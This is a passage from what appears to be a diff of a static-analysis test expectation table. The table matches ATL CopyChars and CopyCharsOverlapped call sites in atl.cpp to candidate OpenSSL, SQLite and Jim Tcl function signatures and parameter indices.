*,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 3 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | atl.cpp:928:17:928:25 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (char *,int,const ASN1_OBJECT *,int) | | OBJ_obj2txt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,BIO *,BIO *,int) | | X509_load_http | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,const char *,const char *,int) | | OSSL_HTTP_adapt_proxy | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,int,int,int) | | append_str | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,size_t,const char *,int) | | CRYPTO_strndup | 1 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,size_t,const char *,int) | | CRYPTO_strndup | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,size_t,const char *,int) | | CRYPTO_strndup | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const char *,sqlite3_filename,const char *,int) | | sqlite3_uri_boolean | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (const void *,size_t,const char *,int) | | CRYPTO_memdup | 1 | +| atl.cpp:928:17:928:25 | CopyChars | (const void *,size_t,const char *,int) | | CRYPTO_memdup | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (const void *,size_t,const char *,int) | | CRYPTO_memdup | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,ENGINE *,const unsigned char *,int) | | EVP_PKEY_new_mac_key | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,int *,int *,int) | | sqlite3_status | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int) | | CMS_SharedInfo_encode | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 1 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 3 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,char *,int) | | BIO_get_line | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,const DSA *,int) | | DSA_print | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (BIO *,const RSA *,int) | | RSA_print | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (FILE *,rule *,int) | | RulePrint | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 1 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,SSL *,int) | | create_ssl_connection | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,const void *,int) | | SSL_write | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_peek | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_read | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509 *,int,int) | | X509_check_purpose | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509 *,int,int) | | X509_check_trust | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| atl.cpp:929:17:929:35 | CopyCharsOverlapped | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | atl.cpp:929:17:929:35 | CopyCharsOverlapped | (XCHAR *,const XCHAR 